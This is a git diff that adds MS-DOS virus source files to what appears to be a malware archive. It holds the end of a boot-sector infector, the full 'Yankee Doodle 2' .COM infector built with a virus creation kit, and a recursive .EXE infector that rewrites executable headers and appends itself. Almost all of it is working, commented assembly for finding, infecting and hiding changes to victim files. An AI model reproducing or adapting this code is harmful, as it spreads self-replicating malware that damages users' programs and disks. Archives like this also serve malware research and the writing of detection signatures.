0EAH ; Far jump to BIOS routine + DW 0E502H, 0F000H + + ; Interrupt 19H routine + + ASSUME DS:BOOT +BP0130: XOR AX,AX ; \ Set DS to zero + MOV DS,AX ; / + MOV AX,DW0410 ; Get system configuration + TEST AL,1 ; Is there a floppy disk + JNZ BP0150 ; Branch if yes +BP0140: PUSH CS ; \ Set ES to CS + POP ES ; / + CALL BP0030 ; Install interrupt 9 routine + INT 18H ; Basica (IBM only) + +BP0150: MOV CX,4 ; Retry four times +BP0160: PUSH CX ; Save retry count + MOV AH,0 ; Reset disk sub-system + INT 13H ; Disk I/O + JB BP0170 ; Branch if error + MOV AX,0201H ; Read one sector + PUSH DS ; \ Set ES to DS + POP ES ; / + MOV BX,7C00H ; Boot sector buffer + MOV CX,1 ; Track zero, sector one + INT 13H ; Disk I/O +BP0170: POP CX ; Retrieve retry count + JNB BP0180 ; Branch if no error + LOOP BP0160 ; Retry + JMP BP0140 + +BP0180: CMP DI,3456H ; Simulated system reset? + JNE BP0200 ; Branch if not +BP0190: DB 0EAH ; Far jump to boot sector area + DW 7C00H, 0 + +BP0200: MOV SI,7C00H ; Boot sector area + MOV CX,OFFSET INT_09 ; Length to compare + MOV DI,SI ; Virus offset + PUSH CS ; \ Set ES to CS + POP ES ; / + CLD + REPZ CMPSB ; Is boot sector infected? + JE BP0220 ; Branch if yes + INC ES:GENNUM[7C00H] ; Increment generation number + MOV BX,7C7AH ; Address format table + MOV DX,0 ; Head zero, drive zero + MOV CH,27H ; Track 39 + MOV AH,5 ; Format track + JMP SHORT BP0210 ; This line was probably an INT 13H + + JB BP0230 ; Error branch for deleted INT 13H +BP0210: MOV ES,DX ; \ Write from boot sector area + MOV BX,7C00H ; / + MOV CL,8 ; Sector eight + MOV AX,0301H ; Write one sector + INT 13H ; Disk I/O + PUSH CS ; \ Set ES to CS + POP ES ; / + JB BP0230 ; Branch if error + MOV CX,1 ; Track zero, sector one + MOV AX,0301H ; Write one sector + INT 13H ; Disk I/O + JB BP0230 ; Branch if error +BP0220: MOV DI,3456H ; Signal simulated system reset + INT 19H ; Disk bootstrap + +BP0230: CALL BP0030 ; Install interrupt 9 routine + DEC ES:GENNUM[7C00H] ; Decrement generation number + JMP BP0190 + + ; Ctrl-Alt-I + + ASSUME DS:CODE +BP0240: MOV KYSTAT[7C00H],BX ; Save Ctrl & Alt key states + MOV AX,GENNUM[7C00H] ; Get generation number + ASSUME DS:RAM + MOV BX,0040H ; \ Address RAM area + MOV DS,BX ; / + MOV BW0472,AX ; Generation to system reset word + JMP BP0090 ; Pass on to original interrupt + + ; Delay + +BP0250: SUB CX,CX ; Maximum count +BP0260: LOOP BP0260 ; Delay loop + SUB AH,1 ; Decrement count + JNZ BP0260 ; Repeat loop + RET + + DB 027H, 000H, 008H, 002H ; Last sector of format table +GENNUM DW 016H ; Generation number +KYSTAT DW 0 ; Ctrl & Alt key states + DB 027H, 000H, 008H, 002H ; Last sector of format table + +CODE ENDS + + END START diff --git a/MSDOS/Virus.MSDOS.Unknown.yankee2.asm b/MSDOS/Virus.MSDOS.Unknown.yankee2.asm new file mode 100644 index 00000000..6480c5fe --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.yankee2.asm @@ -0,0 +1,342 @@ +; YANKEE2.ASM -- Yankee Doodle ][ +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Nowhere Man + +virus_type equ 0 ; Appending Virus +is_encrypted equ 0 ; We're not encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + + call search_files ; Find and infect a file + call search_files ; Find and infect another file + call get_hour + cmp ax,0011h ; Did the function return 17? + jle skip00 ; If less that or equal, skip effect + cmp ax,0013h ; Did the function return 19? + jge skip00 ; If greater than or equal, skip effect + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: lea si,[di + data00] ; SI points to data +get_note: mov bx,[si] ; Load BX with the frequency + or bx,bx ; Is BX equal to zero? + je play_tune_done ; If it is we are finished + + mov ax,034DDh ; + mov dx,0012h ; + cmp dx,bx ; + jnb new_note ; + div bx ; This bit here was stolen + mov bx,ax ; from the Turbo C++ v1.0 + in al,061h ; library file CS.LIB. I + test al,3 ; extracted sound() from the + jne skip_an_or ; library and linked it to + or al,3 ; an .EXE file, then diassembled + out 061h,al ; it. Basically this turns + mov al,0B6h ; on the speaker at a certain + out 043h,al ; frequency. +skip_an_or: mov al,bl ; + out 042h,al ; + mov al,bh ; + out 042h,al ; + + mov bx,[si + 2] ; BX holds duration value + xor ah,ah ; BIOS get time function + int 1Ah + add bx,dx ; Add the time to the length +wait_loop: int 1Ah ; Get the time again (AH = 0) + cmp dx,bx ; Is the delay over? + jne wait_loop ; Repeat until it is + + in al,061h ; Stolen from the nosound() + and al,0FCh ; procedure in Turbo C++ v1.0. + out 061h,al ; This turns off the speaker. + +new_note: add si,4 ; SI points to next note + jmp short get_note ; Repeat with the next note +play_tune_done: + +end00: +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + +search_files proc near + mov bx,di ; BX points to the virus + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,135 ; Allocate 135 bytes on stack + + mov byte ptr [bp - 135],'\' ; Start with a backslash + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 134] ; SI points to 64-byte buffer + int 021h + + call traverse_path ; Start the traversal + +traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful? + je done_searching ; If so then we're done + call found_subdir ; Otherwise copy the subdirectory + + mov ax,cs ; AX holds the code segment + mov ds,ax ; Set the data and extra + mov es,ax ; segments to the code segment + + xor al,al ; Zero AL + stosb ; NULL-terminate the directory + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 70] ; DX points to the directory + int 021h + + lea dx,[bx + com_mask] ; DX points to "*.COM" + push di + mov di,bx + call find_files ; Try to infect a .COM file + mov bx,di + pop di + jnc done_searching ; If successful the exit + jmp short traversal_loop ; Keep checking the PATH + +done_searching: mov ah,03Bh ; DOS change directory function + lea dx,[bp - 135] ; DX points to old directory + int 021h + + cmp word ptr [bx + path_ad],0 ; Did we run out of directories? + jne at_least_tried ; If not then exit + stc ; Set the carry flag for failure +at_least_tried: mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller +com_mask db "*.COM",0 ; Mask for all .COM files +search_files endp + +traverse_path proc near + mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment + xor di,di ; DI holds the starting offset + +find_path: lea si,[bx + path_string] ; SI points to "PATH=" + lodsb ; Load the "P" into AL + mov cx,08000h ; Check the first 32767 bytes + repne scasb ; Search until the byte is found + mov cx,4 ; Check the next four bytes +check_next_4: lodsb ; Load the next letter of "PATH=" + scasb ; Compare it to the environment + jne find_path ; If there not equal try again + loop check_next_4 ; Otherwise keep checking + + mov word ptr [bx + path_ad],di ; Save the PATH address + mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment + ret ; Return to caller + +path_string db "PATH=" ; The PATH string to search for +path_ad dd ? ; Holds the PATH's address +traverse_path endp + +found_subdir proc near + lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH + lea di,[bp - 70] ; DI points to the work buffer + push cs ; Transfer CS into ES for + pop es ; byte transfer +move_subdir: lodsb ; Load the next byte into AL + cmp al,';' ; Have we reached a separator? + je moved_one ; If so we're done copying + or al,al ; Are we finished with the PATH? + je moved_last_one ; If so get out of here + stosb ; Store the byte at ES:DI + jmp short move_subdir ; Keep transfering characters + +moved_last_one: xor si,si ; Zero SI to signal completion +moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address + ret ; Return to caller +found_subdir endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + mov ah,040h ; DOS write to file function + mov cx,finish - start ; CX holds virus length + lea dx,[di + start] ; DX points to start of virus + int 021h + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + +get_hour proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,ch ; Copy hour into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_hour endp + +data00 dw 262,6,262,6,293,6,329,6,262,6,329,6,293,6,196,6 + dw 262,6,262,6,293,6,329,6,262,12,262,12 + dw 262,6,262,6,293,6,329,6,349,6,329,6,293,6,262,6 + dw 246,6,196,6,220,6,246,6,262,12,262,12 + dw 220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,6 + dw 196,6,220,6,196,6,174,6,164,6,174,6,196,7 + dw 220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,7 + dw 196,6,262,6,246,6,293,6,262,12,262,12 + dw 0 + +vcl_marker db "[VCL]",0 ; VCL creation marker + + +note db "[Yankee Doodle 2]",0 + db "Nowhere Man, [NuKE] '92",0 + +finish label near + +code ends + end main \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.yanshort.asm b/MSDOS/Virus.MSDOS.Unknown.yanshort.asm new file mode 100644 index 00000000..67a362cf --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.yanshort.asm @@ -0,0 +1,1129 @@ +.MODEL SMALL +.CODE + +comment / + Good luck! + + Vladimir Botchev, CICT-BAS, december 1988 + + / + +data_area struc ;Define a pattern for working data + ;area +DS_save dw ? +ES_save dw ? +IP_save dw ? +CS_save dw ? +SS_save dw ? +filematch db '*.exe',00h ;Names for files to infect +matchall db '*.*',00h ;needed for the matching procedure +infected dw 00h ;A very useful flag +help_flag dw 00h ;These two flags are needed to +where_from_flag dw 00h ;determine if virus is free running + ;or from an infected program + ;therefore it's very important + ;that where_from_flag value + ;is set to zero at assembly time +handle dw ? +ip_old dw ? ;old instruction pointer +cs_old dw ? ;old value of code segment +ss_old dw ? +far_push dw ? +save_push dw ? +buffer1 db '\',63 dup (?) +virus_stamp db 'motherfucker' ;Very hard to obtain in + ;a random way + +buffer2 db 2b0h dup (?) +new_area db 64 dup (?) +new_data db 64 dup (?) +pointer1 dw ? +pointer2 dw ? +pointer3 dw ? +pointer4 dw ? +pointer5 dw ? +pointer6 dw ? +pointer7 dw ? +pointer8 dw ? + +data_area ends + + org 100h ;Defined for .com file as virus must + ;be able to run on itself +start: call setup_data ;This is a near call therefore it's a + ;three byte instruction.It's purpose is + ;to catch correct data area address + ;even when virus is appended to the + ;infected .exe program +adjust equ offset pgm_start ;Known offset value +pgm_start label word ; + +virussize equ 2793 + + work: mov ax,ds ;Save old DS + push cs + pop ds ;Update to needed DS value + mov si,offset buffer.DS_save ;Put old DS in a quiet place + sub si,adjust + add si,bx + mov [si],ax + + mov si,offset buffer.ES_save ;Save it because Get DTA side effects + sub si,adjust + add si,bx + mov ax,es + mov [si],ax + push cs ;Imperative because DI usage + pop es + + push bx ;It's imperative to always keep + ;this value unchanged + mov ax,2f00h ;Get DTA function call + int 21h + + mov cx,bx ;save address found + pop bx + mov si,offset buffer.pointer1 + sub si,adjust + add si,bx + mov [si],cx + add si,2 ;Locate the segment immediately above + mov ax,es + mov [si],ax + push cs + pop es + + mov di,offset buffer.buffer1 ;adjust for first search + inc di ;Jump over the '\' + sub di,adjust + add di,bx + mov dx,0000h + push bx + call search_exe + pop bx + mov si,offset buffer.where_from_flag + sub si,adjust + add si,bx + cmp word ptr [si],0000h + jnz infected_run + int 020H + +infected_run: + mov si,offset buffer.pointer1 + sub si,adjust + add si,bx + mov dx,[si] + push ds + mov ax,[si+2] + mov ds,ax + push bx + mov ax,1a00h + int 21h + pop bx + pop ds ;Restore original DTA + + mov si,offset buffer.ES_save + sub si,adjust + add si,bx + mov ax,[si] + mov es,ax ;Restore ES + + ;Here you can do whatever you want + + push bx + call mary_proc + pop bx + + + + mov si,offset buffer.IP_save + sub si,adjust + add si,bx + mov ax,[si] + mov dx,[si+2] + mov si,offset buffer.far_push ;Restore original code + sub si,adjust ;segment + add si,bx + mov cx,[si] + push ax + mov ax,cs + sub ax,cx + mov di,ax ;For stack + add dx,ax + pop ax + + mov si,offset buffer.SS_save + sub si,adjust ;Restore stack segment + add si,bx + mov cx,word ptr [si] + add cx,di + + push es + pop ds + + cli + mov ss,cx + sti + + + push dx + push ax + retf + + +search_exe PROC + + push si + push dx + call transfer_filespec ;transfer filename in another + ;working area + call find_first ;try to find a first match + jc not_here ;first match not found + call try_to_infect ;if found try to infect + ;infected != 0 if success + mov si,offset buffer.infected + sub si,adjust + add si,bx + test word ptr [si],0ffffh + jz try_next + jmp quiet_exit + +try_next: + call find_next ;If infection was not succesful + ;try once more + jc not_here + + call try_to_infect ;If match found try to infect + mov si,offset buffer.infected ;again + sub si,adjust + add si,bx + test word ptr [si],0ffffh + jz try_next + + jmp quiet_exit ;quiet exit simply jumps + ;to a return instruction +not_here: + pop dx ;If first searches are + push dx ;unsuccesful try a '*.*' match + call search_all + call find_first + jnc attribute_test ;i.e. expect probably to + ;find a subdirectory +quiet_exit: + pop dx + pop si + ret + +attribute_test: + mov si,dx ;offset of DTA + test byte ptr [si+015h],010h ;where attribute byte is to + ;be found.Try first with + ;subdirectory attribute + jne dir_found ;subdirectory found +more_tries: + call find_next ;Since the search was initiated + ;with '*.*' if this is not a + ;directory try to found one + jc quiet_exit ;No sense to search more + + test byte ptr [si+015h],010h + jz more_tries ;Search to the end +dir_found: + cmp byte ptr [si+01Eh],02Eh ;Compare with the subdirectory + ;mark '.' + jz more_tries ;looking for files no + ;subdirectories + + call dta_compute ;Valid entry, now set some DTA + ;and continue to search + push ax + mov ah,01Ah ;Set DTA function call + int 021h + pop ax + push si + mov si,offset buffer.infected + sub si,adjust + add si,bx + test word ptr [si],0ffffh + pop si + jnz quiet_exit + + jmp more_tries + + +search_exe ENDP + +dta_compute PROC + + push di ;Save some registers + push si + push ax + push bx + cld ;Up count for SI,DI pair + mov si,dx ;DTA address to SI + add si,01EH ;and add subdirectory + ;name offset + +store_loop: + lodsb + stosb + or al,al + jne store_loop ;store loop + + std + stosb + mov al,05Ch ;Put in place the path name + ;constructor + + stosb + add di,2 ;Adjust di for new searches + call search_exe ; + ;a heavily recursion + ; + pop bx ;some cleanup and exit + ; + pop ax + pop si + pop di + ret + +dta_compute ENDP + +try_to_infect PROC + + push ax + push bx + push cx + push dx + push si + push di + + push es + push bx + mov ax,2f00h ;Get DTA function call + int 21h + mov ax,bx + pop bx + mov si,offset buffer.pointer3 + sub si,adjust + add si,bx + mov [si],ax ;Offset saved + add si,2 + mov ax,es + mov [si],ax + pop es ;Segment located just above + + mov dx,offset buffer.new_data + sub dx,adjust + add dx,bx + push bx + mov ax,1a00h + int 21h ;Set DTA function call + pop bx ;It's very important to + ;save BX in all calls + + mov di,offset buffer.new_area + mov si,offset buffer.buffer1 + sub di,adjust + sub si,adjust + add di,bx + add si,bx + + cld ;Move previously found path- + ;name or filename to new + ;data area +move_path: + lodsb + stosb + or al,al + jnz move_path + std ;adjust DI to recieve + mov al,'\' ;filename. + mov cx,0040h + std ;Search backward + repne scasb + + mov si,offset buffer.pointer3 + sub si,adjust + add si,bx + mov ax,[si] + mov si,ax + add di,2 + +o_kay: + add si,001eh ;The beginning of the + ;filename... + cld ;Now move name + +move_fnm: + lodsb + stosb + or al,al + jnz move_fnm + + push dx + push bx + mov dx,offset buffer.new_area + sub dx,adjust + add dx,bx + mov ax,3d02h ;Open file with handle + ;for read/write + int 21h + pop bx + pop dx + jnc go_ahead ;In case file cannot be opened + jmp error_exit + +go_ahead: + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov [si],ax ;Save handle + + push bx + mov bx,ax ;Prepare for lseek + push dx + mov cx,0000h ;Look at the end of the file + mov dx,0000h ;Offset of -12 from the end + ;of the file + mov ax,4202h ;Lseek function call + int 21h + mov cx,dx + pop dx + pop bx + jnc compute_length + jmp close_error + +compute_length: + + sub ax,000ch + sbb cx,0000h ;Exact position + + +save_offset: ; + mov si,offset buffer.pointer5 + sub si,adjust + add si,bx + mov [si],ax + add si,2 + mov [si],cx + + push bx + push dx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + mov dx,ax + mov ax,4200h ;From beginning of file + int 21h ;Lseek function call + pop dx + pop bx + jnc set_buffer + jmp close_error + +set_buffer: + push bx + push dx + mov dx,offset buffer.new_data + sub dx,adjust + add dx,bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] ;Load handle + mov cx,000ch + mov ax,3f00h + int 21h ;Read function call + pop dx + pop bx + jnc read_ok + jmp close_error + +read_ok: + mov si,offset buffer.virus_stamp + mov di,offset buffer.new_data + sub si,adjust + sub di,adjust + add si,bx + add di,bx + mov cx,12 ;Length of strings to + ;compare + repe cmpsb + pushf + mov si,offset buffer.infected + sub si,adjust + add si,bx + mov word ptr [si],0000h + popf + jnz infect_it + +close_error: + mov si,offset buffer.handle + sub si,adjust + add si,bx + push bx + mov bx,[si] + mov ax,3e00h ;Close file function call + int 21h + pop bx + jmp error_exit + +infect_it: + mov si,offset buffer.infected + sub si,adjust + add si,bx + mov word ptr [si],7777h + + mov si,offset buffer.where_from_flag + sub si,adjust + add si,bx + mov ax,[si] + sub si,2 + mov [si],ax ;This code effectively moves + ;where_from_flag into help_flag + + add si,2 + mov [si],5a5ah ;Ready to infect + push bx + push dx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + xor cx,cx + xor dx,dx + mov ax,4200h ;From beginning of file + int 21h ;Lseek function call + pop dx + pop bx + jnc set_new_data + jmp append_ok + +set_new_data: + push bx + push dx + mov dx,offset buffer.new_data + sub dx,adjust + add dx,bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] ;Load handle + mov cx,001bh ;Read formatted exe header + mov ax,3f00h + int 21h ;Read function call + pop dx + pop bx + jnc read_header + jmp append_ok + +read_header: + nop ;some code to modify header + ; + + mov si,offset buffer.pointer5 + sub si,adjust + add si,bx + mov ax,[si] + add si,2 + add ax,0ch + adc word ptr [si],0000h + sub si,2 + mov [si],ax ;This code restores original + ;filelength + + mov si,offset buffer.new_data + sub si,adjust + add si,bx + mov ax,[si] + cmp ax,5a4dh ;check for valid exe file + jz valid_exe + jmp append_ok + +valid_exe: + mov ax,[si+8] ;Load module size + xor dx,dx + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 ;Multiply by 16 + + push ax + push dx ;Adjust new size + push cx + mov dx,virussize-896+64 + push dx + mov cx,0009h + shr dx,cl + add word ptr [si+4],dx + pop dx + and dx,01ffh + add dx,word ptr [si+2] + cmp dx,512 + jl adjust_okay + sub dx,512 + inc word ptr [si+4] +adjust_okay: + mov word ptr [si+2],dx + pop cx + pop dx + pop ax + + + push si ;This SI is very useful so save it + + mov si,offset buffer.pointer5 + sub si,adjust + add si,bx + sub [si],ax + mov ax,[si] + sbb [si+2],dx + mov dx,[si+2] ;the byte size of the load module + + + pop si + push ax + push dx + mov ax,[si+14h] + mov dx,[si+16h] ;Get CS:IP value + mov cx,[si+0eh] ;Get SS value + push si + mov si,offset buffer.IP_save + sub si,adjust + add si,bx + xchg [si],ax + xchg [si+2],dx + mov si,offset buffer.SS_save + sub si,adjust + add si,bx + xchg [si],cx + mov si,offset buffer.ip_old + sub si,adjust + add si,bx + mov [si],ax + mov [si+2],dx + mov si,offset buffer.ss_old + sub si,adjust + add si,bx + mov [si],cx + pop si + pop dx + pop ax + + push ax + push dx + + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 ;Multiply by 16 + + mov cx,0008h + shl dx,cl + mov cx,0004h + shr ax,cl ;A very obscure algorithm to make + ;a segment:offset pair + mov [si+14h],ax + mov [si+16h],dx ;Infected values + + push si + mov si,offset buffer.far_push + sub si,adjust + add si,bx + xchg [si],dx + mov word ptr [si+2],dx + pop si + + pop dx + pop ax + add ax,virussize ; + adc dx,0000h + + mov cx,0003h +mul_loop: + + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 ;Multiply by 4096 + loop mul_loop + + or ax,ax + jz exact_value + inc dx +exact_value: + mov [si+0eh],dx ;Infected stack segment + + ;Write back infected header + push si + push bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + mov ax,5700h ;Get time function + int 21h + pop bx + pop si + jnc correct_time + jmp append_ok1 + +correct_time: + push cx + push bx + push dx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + xor cx,cx + xor dx,dx + mov ax,4200h ;From beginning of file + int 21h ;Lseek function call + pop dx + pop bx + pop cx + jnc continue_infection + jmp append_ok1 + +continue_infection: + + push cx + push dx + push bx + mov dx,offset buffer.new_data + sub dx,adjust + add dx,bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] ;Load handle + mov cx,001bh ;Write infected exe header + mov ax,4000h + int 21h ;Write function call + pop bx + pop dx + pop cx + jnc glue_virus + jmp append_ok1 + +glue_virus: + + push cx + push bx + push dx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + xor cx,cx + xor dx,dx + mov ax,4202h ;From the end of file + int 21h ;Lseek function call + pop dx + pop bx + pop cx + jnc write_data + jmp append_ok1 + +write_data: + + mov si,offset buffer.handle + sub si,adjust + add si,bx + + push dx + push cx + + mov dx,bx + sub dx,3 ;The starting three byte + ;call instruction + push es + push bx + push dx + push si + mov ax,2f00h + int 21h + pop si + pop dx + + push es + push bx + + push si + mov ax,1a00h + int 21h + pop si + + + mov bx,[si] ;Load handle + mov cx,virussize-896+64 ;Length of virus obtained + mov ax,4000h ;with dir + int 21h + lahf ;Write function call + + pop bx + pop es + + push ds + push es + pop ds + mov dx,bx + push ax + mov ax,1a00h + int 21h + pop ax + + pop ds + pop bx + pop es + + pop cx + pop dx + + sahf + jnc put_stamp ;Error or not file + jmp append_ok1 ;is closed + +put_stamp: + push bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + mov ax,5701h ;Set time function + int 21h + pop bx + +append_ok1: + + mov si,offset buffer.ip_old ;Restore previous CS:IP values + sub si,adjust + add si,bx + mov ax,[si] + mov dx,[si+2] + mov si,offset buffer.IP_save + sub si,adjust + add si,bx + mov [si],ax + mov [si+2],dx + + mov si,offset buffer.save_push + sub si,adjust + add si,bx + mov ax,[si] + mov word ptr [si-2],ax + + mov si,offset buffer.ss_old + sub si,adjust + add si,bx + mov ax,[si] + mov si,offset buffer.SS_save + sub si,adjust + add si,bx + mov word ptr [si],ax + + +append_ok: + mov si,offset buffer.help_flag + sub si,adjust + add si,bx + mov ax,[si] + add si,2 + mov [si],ax ;This code effectively moves + ;help_flag into where_from_flag + + + jmp close_error ; + +error_exit: + mov si,offset buffer.pointer3 + sub si,adjust + add si,bx + mov dx,[si] ;Restore original DTA + add si,2 + mov ax,[si] + push ds + mov ds,ax + mov ax,1a00h ;Set DTA function call + int 21h + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + ret + +try_to_infect ENDP + +transfer_filespec PROC + + push si + mov si,offset buffer.filematch ;Transfer name to the working + ;area + sub si,adjust + add si,bx + call byte_move + pop si + ret + +transfer_filespec ENDP + +search_all PROC + + push si + mov si,offset buffer.matchall ;This is the '*.*' filename + sub si,adjust + add si,bx + call byte_move + pop si + ret + +search_all ENDP + +byte_move PROC + + push ax + push di + + cld + +move_loop: + lodsb + stosb + or al,al ;The string to move is ASCIIZ + jne move_loop + pop di + pop ax + ret + +byte_move ENDP + +find_first PROC + + push cx + push bx + cmp dx,0000h + jnbe over_set + mov dx,offset buffer.buffer2 ;Set Data Transfer Area + sub dx,adjust ;or Disk Transfer area + add dx,bx ; +over_set: + add dx,02Bh + mov cx,00010h ;Attribute byte for + ;directory search + mov ah,01ah + int 021h ;Set DTA function call + + pop bx + push bx + push dx + mov dx,offset buffer.buffer1 + sub dx,adjust + add dx,bx + mov ah,04eh ;find first + ;function call + int 021h + pop dx + pop bx + pop cx + ret + +find_first ENDP + +find_next PROC + + push cx + push bx + push dx + mov dx,offset buffer.buffer1 + sub dx,adjust + add dx,bx + mov cx,00010h + mov ah,04fh ;Find next function call + int 021h + pop dx + pop bx + pop cx + ret + +find_next ENDP + +delay PROC + + push ax + push bx + push cx + push dx + mov ah,2ch ;Read current time + int 21h + + mov ah,ch + add al,cl + add bh,dh + add bl,dl + + cmp bl,100 + jb secs + sub bl,100 + inc bh +secs: cmp bh,60 + jb mins + sub bh,60 + inc al +mins: cmp al,60 + jb hours + sub al,60 + inc ah +hours: cmp ah,24 + jne tcheck + sub ah,ah + +tcheck: push ax + mov ah,2ch + int 21h + + pop ax + cmp cx,ax + ja tdquit + jb tcheck + cmp dx,bx + jb tcheck + +tdquit: pop dx + pop cx + pop bx + pop ax + ret + +delay ENDP + +sound PROC + + push ax + push cx + push dx + push di + + mov al,0b6h + out 43h,al + mov dx,14h + mov ax,533h*896 + div di + out 42h,al + mov al,ah + out 42h,al + in al,61h + mov ah,al + or al,3 + out 61h,al + mov al,cl + call delay + mov al,ah + out 61h,al + pop di + pop dx + pop cx + pop ax + ret + +sound ENDP + +music_play PROC + + push bx + push cx + push di + push si + push bp + +freq: + + mov di,[si] + cmp di,0ffffh + je end_play + mov bl,ds:[bp] + sub cl,cl + sub bh,bh + call sound + add si,2 + inc bp + jnz freq + +end_play: + pop bp + pop si + pop di + pop cx + pop bx + ret + +music_play ENDP + +mary_proc PROC + + push bx + push bp + + mov si,offset mary_freq + mov bp,offset mary_time + sub si,adjust + sub bp,adjust + add si,bx + add bp,bx + call music_play + + pop bp + pop bx + ret + +mary_proc ENDP + +mary_freq dw 262,262,293,329,262,329,293,196 + dw 262,262,293,329,262,262 + dw 262,262,293,329,349,329,293,262 + dw 246,196,220,246,262,262 + dw 220,246,220,174,220,246,262,220 + dw 196,220,196,174,164,174,196 + dw 220,246,220,174,220,246,262,220 